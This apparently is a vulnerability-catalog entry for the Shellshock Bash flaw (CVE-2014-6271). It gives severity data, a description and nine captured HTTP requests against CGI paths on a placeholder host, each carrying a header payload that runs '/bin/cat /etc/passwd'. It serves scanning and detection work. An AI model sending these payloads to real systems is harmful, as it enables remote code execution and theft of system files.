| Title | ShellShock - Remote Code Execution |
|---|---|
| Author | pentest_swissky,0xelkomy |
| Severity | Critical |
| Impact | Remote code execution can lead to unauthorized access, data theft, and system compromise. |
| Remediation | Apply the necessary patches and updates provided by the vendor to fix the vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.9422 |
| CVE ID | CVE-2014-6271 |
| CWE ID | CWE-78 |
| Tags | cve2014 cve rce shellshock kev gnu vkev vuln |
GNU Bash through 4.3 processes trailing strings after function definitions in the values of environment variables, which allows remote attackers to execute arbitrary code via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the mod_cgi and mod_cgid modules in the Apache HTTP Server, scripts executed by unspecified DHCP clients, and other situations in which setting the environment occurs across a privilege boundary from Bash execution, aka ShellShock.
GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Accept: */*
Accept-Language: en
Cookie: () { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd
Referer: () { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd
Shellshock: () { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd
Accept-Encoding: gzip
Connection: close
GET /cgi-bin/status HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Accept: */*
Accept-Language: en
Cookie: () { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd
Referer: () { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd
Shellshock: () { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd
Accept-Encoding: gzip
Connection: close
GET /debug.cgi HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10
Accept: */*
Accept-Language: en
Cookie: () { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd
Referer: () { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd
Shellshock: () { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd
Accept-Encoding: gzip
Connection: close
GET /cgi-bin/test-cgi HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36
Accept: */*
Accept-Language: en
Cookie: () { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd
Referer: () { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd
Shellshock: () { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd
Accept-Encoding: gzip
Connection: close
GET /cgi-bin/stats HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Fedora; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept: */*
Accept-Language: en
Cookie: () { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd
Referer: () { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd
Shellshock: () { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd
Accept-Encoding: gzip
Connection: close
GET /test.cgi HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:133.0) Gecko/20100101 Firefox/133.0
Accept: */*
Accept-Language: en
Cookie: () { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd
Referer: () { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd
Shellshock: () { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd
Accept-Encoding: gzip
Connection: close
GET /cgi-bin/test.cgi HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Accept: */*
Accept-Language: en
Cookie: () { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd
Referer: () { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd
Shellshock: () { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd
Accept-Encoding: gzip
Connection: close
GET /cgi-bin/test HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en
Cookie: () { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd
Referer: () { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd
Shellshock: () { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd
Accept-Encoding: gzip
Connection: close
GET /cgi-bin/status/status.cgi HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_18) AppleWebKit/605.1.18 (KHTML, like Gecko) Version/18 Safari/605.1.18
Accept: */*
Accept-Language: en
Cookie: () { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd
Referer: () { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd
Shellshock: () { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd
Accept-Encoding: gzip
Connection: close
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2014/CVE-2014-6271.yaml
🦈 Packet Capture: ⬇️ Download cve-2014-6271.pcap
N/AN/A